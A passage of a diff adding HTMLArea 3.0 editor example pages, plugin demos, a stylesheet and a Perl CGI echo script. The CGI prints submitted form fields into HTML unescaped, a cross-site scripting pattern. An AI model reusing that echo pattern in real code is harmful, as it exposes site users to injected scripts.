+ cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+
+ // BEGIN: code that adds a custom button
+ // uncomment it to test
+ var cfg = editor.config; // this is the default configuration
+ /*
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ }
+ });
+ */
+
+function clickHandler(editor, buttonId) {
+ switch (buttonId) {
+ case "my-toc":
+ editor.insertHTML("<h1>Table Of Contents</h1>");
+ break;
+ case "my-date":
+ editor.insertHTML((new Date()).toString());
+ break;
+ case "my-bold":
+ editor.execCommand("bold");
+ editor.execCommand("italic");
+ break;
+ case "my-hilite":
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ break;
+ }
+};
+cfg.registerButton("my-toc", "Insert TOC", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-date", "Insert date/time", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-bold", "Toggle bold/italic", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-hilite", "Hilite selection", "ed_custom.gif", false, clickHandler);
+
+cfg.registerButton("my-sample", "Class: sample", "ed_custom.gif", false,
+ function(editor) {
+ if (HTMLArea.is_ie) {
+ editor.insertHTML("<span class=\"sample\"> </span>");
+ var r = editor._doc.selection.createRange();
+ r.move("character", -2);
+ r.moveEnd("character", 2);
+ r.select();
+ } else { // Gecko/W3C compliant
+ var n = editor._doc.createElement("span");
+ n.className = "sample";
+ editor.insertNodeAtSelection(n);
+ var sel = editor._iframe.contentWindow.getSelection();
+ sel.removeAllRanges();
+ var r = editor._doc.createRange();
+ r.setStart(n, 0);
+ r.setEnd(n, 0);
+ sel.addRange(r);
+ }
+ }
+);
+
+
+ /*
+ cfg.registerButton("my-hilite", "Highlight text", "ed_custom.gif", false,
+ function(editor) {
+ editor.surroundHTML('<span class="hilite">', '</span>');
+ }
+ );
+ */
+ cfg.pageStyle = "body { background-color: #efd; } .hilite { background-color: yellow; } "+
+ ".sample { color: green; font-family: monospace; }";
+ cfg.toolbar.push(["linebreak", "my-toc", "my-date", "my-bold", "my-hilite", "my-sample"]); // add the new button to the toolbar
+ // END: code that adds a custom button
+
+ editor.generate();
+}
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="20" cols="80">
+ <p>Here is some sample text: <b>bold</b>, <i>italic</i>, <u>underline</u>. </p>
+ <p align=center>Different fonts, sizes and colors (all in bold):</p>
+ <p><b>
+ <font face="arial" size="7" color="#000066">arial</font>,
+ <font face="courier new" size="6" color="#006600">courier new</font>,
+ <font face="georgia" size="5" color="#006666">georgia</font>,
+ <font face="tahoma" size="4" color="#660000">tahoma</font>,
+ <font face="times new roman" size="3" color="#660066">times new roman</font>,
+ <font face="verdana" size="2" color="#666600">verdana</font>,
+ <font face="tahoma" size="1" color="#666666">tahoma</font>
+ </b></p>
+ <p>Click on <a href="http://www.interactivetools.com/">this link</a> and then on the link button to the details ... OR ... select some text and click link to create a <b>new</b> link.</p>
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+#! /usr/bin/perl -w
+
+use strict;
+use CGI;
+
+my $cgi = new CGI;
+my $text1 = $cgi->param('text1');
+my $text2 = $cgi->param('text2');
+
+print "Content-type: text/html\n\n";
+
+print "<p>You submitted:</p>";
+print "<table border='1'>";
+print "<thead><tr bgcolor='#cccccc'><td width='50%'>text1</td><td width='50%'>text2</td></tr></thead>";
+print "<tbody><tr><td>$text1</td><td>$text2</td></tr></tbody>";
+print "</table>";
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html>
+ <head>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <title>Example with 2 HTMLAreas in the same form</title>
+ <script type="text/javascript">
+ // the _editor_url is REQUIRED! don't forget to set it.
+ _editor_url = "../";
+ // implicit language will be "en", but let's set it for brevity
+ _editor_lang = "en";
+ </script>
+ <script type="text/javascript" src="../htmlarea.js"></script>
+ <script type="text/javascript">
+ // load the plugins that we will use
+ // loading is necessary ONLY ONCE, regardless on how many editors you create
+ // basically calling the following functions will load the plugin files as if
+ // we would have wrote script src="..." but with easier and cleaner code
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("CSS");
+
+ // this function will get called at body.onload
+ function initDocument() {
+ // cache these values as we need to pass it for both editors
+ var css_plugin_args = {
+ combos : [
+ { label: "Syntax",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ };
+
+ //---------------------------------------------------------------------
+ // GENERAL PATTERN
+ //
+ // 1. Instantitate an editor object.
+ // 2. Register plugins (note, it's required to have them loaded).
+ // 3. Configure any other items in editor.config.
+ // 4. generate() the editor
+ //
+ // The above are steps that you use to create one editor. Nothing new
+ // so far. In order to create more than one editor, you just have to
+ // repeat those steps for each of one. Of course, you can register any
+ // plugins you want (no need to register the same plugins for all
+ // editors, and to demonstrate that we'll skip the TableOperations
+ // plugin for the second editor). Just be careful to pass different
+ // ID-s in the constructor (you don't want to _even try_ to create more
+ // editors for the same TEXTAREA element ;-)).
+ //
+ // So much for the noise, see the action below.
+ //---------------------------------------------------------------------
+
+
+ //---------------------------------------------------------------------
+ // CREATE FIRST EDITOR
+ //
+ var editor1 = new HTMLArea("text-area-1");
+
+ // plugins must be registered _per editor_. Therefore, we register
+ // plugins for the first editor here, and we will also do this for the
+ // second editor.
+ editor1.registerPlugin(TableOperations);
+ editor1.registerPlugin(SpellChecker);
+ editor1.registerPlugin(CSS, css_plugin_args);
+
+ // custom config must be done per editor. Here we're importing the
+ // stylesheet used by the CSS plugin.
+ editor1.config.pageStyle = "@import url(custom.css);";
+
+ // generate first editor
+ editor1.generate();
+ //---------------------------------------------------------------------
+
+
+ //---------------------------------------------------------------------
+ // CREATE SECOND EDITOR
+ //
+ var editor2 = new HTMLArea("text-area-2");
+
+ // we are using the same plugins
+ editor2.registerPlugin(TableOperations);
+ editor2.registerPlugin(SpellChecker);
+ editor2.registerPlugin(CSS, css_plugin_args);
+
+ // import the CSS plugin styles
+ editor2.config.pageStyle = "@import url(custom.css);";
+
+ // generate the second editor
+ // IMPORTANT: if we don't give it a timeout, the first editor will
+ // not function in Mozilla. Soon I'll think about starting to
+ // implement some kind of event that will fire when the editor
+ // finished creating, then we'll be able to chain the generate()
+ // calls in an elegant way. But right now there's no other solution
+ // than the following.
+ setTimeout(function() {
+ editor2.generate();
+ }, 500);
+ //---------------------------------------------------------------------
+ };
+ </script>
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Example with 2 HTMLAreas in the same form</h1>
+
+ <form action="2-areas.cgi" method="post" target="_blank">
+
+ <input type="submit" value=" Submit " />
+ <br />
+
+ <textarea id="text-area-1" name="text1" style="width: 100%; height: 12em">
+ <h3>HTMLArea #1</h3>
+ <p>This will submit a field named <em>text1</em>.</p>
+ </textarea>
+
+ <br />
+
+ <textarea id="text-area-2" name="text2" style="width: 100%; height: 12em">
+ <h3>Second HTMLArea</h3> <p><em>text2</em> submission. Both are
+ located in the same FORM element and the script action is
+ 2-areas.cgi (see it in the examples directory)</p>
+ </textarea>
+
+ <br />
+ <input type="submit" value=" Submit " />
+
+ </form>
+
+ <hr>
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Fri Oct 31 09:37:10 EET 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:40 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+ <head>
+ <title>Test of ContextMenu plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("ContextMenu");
+ HTMLArea.loadPlugin("TableOperations");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(ContextMenu);
+ editor.registerPlugin(TableOperations);
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of ContextMenu plugin</h1>
+
+
+<textarea id="editor" style="height: 30em; width: 100%;">
+<table border="1" style="border: 1px dotted rgb(0, 102, 255); width:
+100%; background-color: rgb(255, 204, 51); background-image: none; float:
+none; text-align: left; vertical-align: top; border-collapse: collapse;"
+summary="" cellspacing="" cellpadding="" frame="box"
+rules="all"><tbody><tr><td style="border: 1px solid
+rgb(255, 0, 0); background-color: rgb(0, 51, 51); background-image: none;
+text-align: left; vertical-align: top;"><a
+href="http://dynarch.com/mishoo/articles.epl?art_id=430"><img
+src="http://127.0.0.1/~mishoo/htmlarea/examples/pieng.png" alt="" align=""
+border="0" hspace="0" vspace="0" /></a></td><td
+style="border: 1px solid rgb(255, 0, 0); background-color: rgb(255, 255, 0);
+background-image: none; text-align: left; vertical-align: top;">The
+article linked on the left image presents a script that allows Internet
+Explorer to use PNG images. We hope to be able to implement IE PNG support
+in HTMLArea soon.<br /> <br /> Go on, right-click everywhere and
+test our new context menus. And be thankful to <a
+href="http://www.americanbible.org/">American Bible Society</a> who
+sponsored the development, <a
+href="http://dynarch.com/mishoo/">mishoo</a> who made it happen and
+God, Who keeps mishoo alife. ;-)<br /> <br /><span
+style="font-style: italic;">P.S.</span> No animals were harmed
+while producing this movie.<br />
+</td></tr><tr><td style="border-style: none;
+background-color: rgb(255, 255, 51); background-image: none; text-align:
+left; vertical-align: top;">Welcome to HTMLArea, the best online
+editor.<br /></td><td>HTMLArea is a project initiated by
+<a href="http://interactivetools.com/">InteractiveTools.com</a>.
+Other companies contributed largely by sponsoring the development of
+additional extensions. Many thanks to:<br /> <br
+style="font-family: courier new,courier,monospace;" /> <div
+style="margin-left: 40px;"><a href="http://www.zapatec.com/"
+style="font-family: courier
+new,courier,monospace;">http://www.zapatec.com</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.americanbible.org/" style="font-family: courier
+new,courier,monospace;">http://www.americanbible.org</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.neomedia.ro/" style="font-family: courier
+new,courier,monospace;">http://www.neomedia.ro</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.os3.it/" style="font-family: courier
+new,courier,monospace;">http://www.os3.it</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.miro.com.au/" style="font-family: courier
+new,courier,monospace;">http://www.miro.com.au</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.thycotic.com/" style="font-family: courier
+new,courier,monospace;">http://www.thycotic.com</a><br />
+</div> <br /> and to all the posters at <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/
+">InteractiveTools</a> HTMLArea forums, whose feedback is continually
+useful in polishing HTMLArea.<br /> <br /><div
+style="text-align: right;">-- developers and maintainers of version 3,
+<a href="http://dynarch.com/">dynarch.com</a>.<br
+/></div></td></tr></tbody></table>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:29 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+</script>
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+ editor = new HTMLArea("ta");
+
+ // comment the following two lines to see how customization works
+ editor.generate();
+ return false;
+
+ var cfg = editor.config; // this is the default configuration
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ },
+ context : 'table'
+ });
+
+ cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+
+ // BEGIN: code that adds a custom button
+ // uncomment it to test
+ var cfg = editor.config; // this is the default configuration
+ /*
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ }
+ });
+ */
+
+function clickHandler(editor, buttonId) {
+ switch (buttonId) {
+ case "my-toc":
+ editor.insertHTML("<h1>Table Of Contents</h1>");
+ break;
+ case "my-date":
+ editor.insertHTML((new Date()).toString());
+ break;
+ case "my-bold":
+ editor.execCommand("bold");
+ editor.execCommand("italic");
+ break;
+ case "my-hilite":
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ break;
+ }
+};
+cfg.registerButton("my-toc", "Insert TOC", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-date", "Insert date/time", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-bold", "Toggle bold/italic", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-hilite", "Hilite selection", "ed_custom.gif", false, clickHandler);
+
+cfg.registerButton("my-sample", "Class: sample", "ed_custom.gif", false,
+ function(editor) {
+ if (HTMLArea.is_ie) {
+ editor.insertHTML("<span class=\"sample\"> </span>");
+ var r = editor._doc.selection.createRange();
+ r.move("character", -2);
+ r.moveEnd("character", 2);
+ r.select();
+ } else { // Gecko/W3C compliant
+ var n = editor._doc.createElement("span");
+ n.className = "sample";
+ editor.insertNodeAtSelection(n);
+ var sel = editor._iframe.contentWindow.getSelection();
+ sel.removeAllRanges();
+ var r = editor._doc.createRange();
+ r.setStart(n, 0);
+ r.setEnd(n, 0);
+ sel.addRange(r);
+ }
+ }
+);
+
+
+ /*
+ cfg.registerButton("my-hilite", "Highlight text", "ed_custom.gif", false,
+ function(editor) {
+ editor.surroundHTML('<span class="hilite">', '</span>');
+ }
+ );
+ */
+ cfg.pageStyle = "body { background-color: #efd; } .hilite { background-color: yellow; } "+
+ ".sample { color: green; font-family: monospace; }";
+ cfg.toolbar.push(["linebreak", "my-toc", "my-date", "my-bold", "my-hilite", "my-sample"]); // add the new button to the toolbar
+ // END: code that adds a custom button
+
+ editor.generate();
+}
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="20" cols="80">
+ <p>Here is some sample text: <b>bold</b>, <i>italic</i>, <u>underline</u>. </p>
+ <p align=center>Different fonts, sizes and colors (all in bold):</p>
+ <p><b>
+ <font face="arial" size="7" color="#000066">arial</font>,
+ <font face="courier new" size="6" color="#006600">courier new</font>,
+ <font face="georgia" size="5" color="#006666">georgia</font>,
+ <font face="tahoma" size="4" color="#660000">tahoma</font>,
+ <font face="times new roman" size="3" color="#660066">times new roman</font>,
+ <font face="verdana" size="2" color="#666600">verdana</font>,
+ <font face="tahoma" size="1" color="#666666">tahoma</font>
+ </b></p>
+ <p>Click on <a href="http://www.interactivetools.com/">this link</a> and then on the link button to the details ... OR ... select some text and click link to create a <b>new</b> link.</p>
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+ <head>
+ <title>Test of CSS plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("CSS");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.config.pageStyle = "@import url(custom.css);";
+ editor.registerPlugin(CSS, {
+ combos : [
+ { label: "Syntax",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ });
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;"
+><h1><tt>registerDropdown</tt></h1>
+
+<p>Here's some sample code that adds a dropdown to the toolbar. Go on, do
+ syntax highlighting on it ;-)</p>
+
+<pre>var the_options = {
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "String" : "string",
+ "Numeric" : "integer",
+ "Variable name" : "variable"
+};
+var css_class = {
+ id : "CSS-class",
+ tooltip : i18n["tooltip"],
+ options : the_options,
+ action : function(editor) { self.onSelect(editor, this); }
+};
+cfg.registerDropdown(css_class);
+toolbar[0].unshift(["CSS-class"]);</pre>
+
+<p>Easy, eh? ;-)</p></textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:16 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+body { background-color: #234; color: #dd8; font-family: tahoma; font-size: 12px; }
+
+a:link, a:visited { color: #8cf; }
+a:hover { color: #ff8; }
+
+h1 { background-color: #456; color: #ff8; padding: 2px 5px; border: 1px solid; border-color: #678 #012 #012 #678; }
+
+/* syntax highlighting (used by the first combo defined for the CSS plugin) */
+
+pre { margin: 0px 1em; padding: 5px 1em; background-color: #000; border: 1px dotted #02d; border-left: 2px solid #04f; }
+.code { color: #f5deb3; }
+.string { color: #00ffff; }
+.comment { color: #8fbc8f; }
+.variable-name { color: #fa8072; }
+.type { color: #90ee90; font-weight: bold; }
+.reference { color: #ee82ee; }
+.preprocessor { color: #faf; }
+.keyword { color: #ffffff; font-weight: bold; }
+.function-name { color: #ace; }
+.html-tag { font-weight: bold; }
+.html-helper-italic { font-style: italic; }
+.warning { color: #ffa500; font-weight: bold; }
+.html-helper-bold { font-weight: bold; }
+
+/* info combo */
+
+.quote { font-style: italic; color: #ee9; }
+.highlight { background-color: yellow; color: #000; }
+.deprecated { text-decoration: line-through; color: #aaa; }
--- /dev/null
+<html>
+ <head>
+ <title>Test of FullPage plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("FullPage");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(FullPage);
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;">
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+ <html>
+ <head>
+ <title>FullPage plugin for HTMLArea</title>
+ <link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" />
+ <link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" />
+ </head>
+ <body style="background-color: #ddddee; color: #000077;">
+ <table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0">
+ <tr>
+ <td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;">
+ FullPage plugin
+ </td>
+ </tr>
+ <tr>
+ <td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;">
+ <p>
+ This plugin enables one to edit a full HTML file in <a
+ href="http://dynarch.com/htmlarea/">HTMLArea</a>. This is not
+ normally possible with just the core editor since it only
+ retrieves the HTML inside the <code>body</code> tag.
+ </p>
+ <p>
+ It provides the ability to change the <code>DOCTYPE</code> of
+ the document, <code>body</code> <code>bgcolor</code> and
+ <code>fgcolor</code> attributes as well as to add additional
+ <code>link</code>-ed stylesheets. Cool, eh?
+ </p>
+ <p>
+ The development of this plugin was initiated and sponsored by
+ <a href="http://thycotic.com">Thycotic Software Ltd.</a>.
+ That's also cool, isn't it? ;-)
+ </p>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:07 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+</script>
+
+<!-- load the main HTMLArea file, this will take care of loading the CSS and
+ other required core scripts. -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<!-- load the plugins -->
+<script type="text/javascript">
+ // WARNING: using this interface to load plugin
+ // will _NOT_ work if plugins do not have the language
+ // loaded by HTMLArea.
+
+ // In other words, this function generates SCRIPT tags
+ // that load the plugin and the language file, based on the
+ // global variable HTMLArea.I18N.lang (defined in the lang file,
+ // in our case "lang/en.js" loaded above).
+
+ // If this lang file is not found the plugin will fail to
+ // load correctly and nothing will work.
+
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("FullPage");
+ HTMLArea.loadPlugin("CSS");
+ HTMLArea.loadPlugin("ContextMenu");
+ HTMLArea.loadPlugin("HtmlTidy");
+ HTMLArea.loadPlugin("ListType");
+</script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the FullPage plugin
+ editor.registerPlugin(FullPage);
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(TableOperations);
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(SpellChecker);
+
+ // register the HtmlTidy plugin
+ editor.registerPlugin(HtmlTidy);
+
+ // register the ListType plugin
+ editor.registerPlugin(ListType);
+
+ // register the CSS plugin
+ editor.registerPlugin(CSS, {
+ combos : [
+ { label: "Syntax:",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info:",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ });
+
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+
+ // load the stylesheet used by our CSS plugin configuration
+ editor.config.pageStyle = "@import url(custom.css);";
+
+ setTimeout(function() {
+ editor.generate();
+ }, 500);
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+
+<head>
+<title>Passing parameters to JavaScript code</title>
+<link rel="stylesheet" href="custom.css" />
+</head>
+
+<body>
+<h1>Passing parameters to JavaScript code</h1>
+
+<p>Sometimes we need to pass parameters to some JavaScript function that we
+wrote ourselves. But sometimes it's simply more convenient to include the
+parameter not in the function call, but in the affected HTML elements.
+Usually, all JavaScript calls affect some element, right? ;-)</p>
+
+<p>Well, here's an original way to do it. Or at least, I think it's
+original.</p>
+
+<h2>But first...</h2>
+
+<p>... an example. Why would I need such thing? I have a JS function that
+is called on <code>BODY</code> <code>onload</code> handler. This function
+tries to retrieve the element with the ID "conttoc" and, if present, it will
+<a href="toc.epl" title="Automatic TOC generation">generate an index</a>.
+The problem is, this function exists in some external JavaScript library
+that it's loaded in page. I only needed to pass the parameter from
+<em>one</em> page. Thus, it makes sense to pass the parameter from the HTML
+code on <em>that</em> page, not to affect the others.</p>
+
+<p>The first idea that came to me was to use some attribute, like "id" or
+"class". But "id" was locked already, it <em>had</em> to be "conttoc". Use
+"class"? It's not elegant.. what if I really wanted to give it a class, at
+some point?</p>
+
+<h2>The idea</h2>
+
+<p>So I thought: what are the HTML elements that do not affect the page
+rendering in any way? Well, comments. I mean, <em>comments</em>, HTML
+comments. You know, like <code>&lt;!-- this is a comment --&gt;</code>.</p>
+
+<p>Though comments do not normally affect the way browser renders the page,
+they are still parsed and are part of the DOM, as well as any other node.
+But this mean that we can access comments from JavaScript code, just like we
+access any other element, right? Which means that they <em>can</em> affect
+the way that page finally appears ;-)</p>
+
+<h2>The code</h2>
+
+<p>The main part was the idea. The code is simple ;-) Suppose we have the
+following HTML code:</p>
+
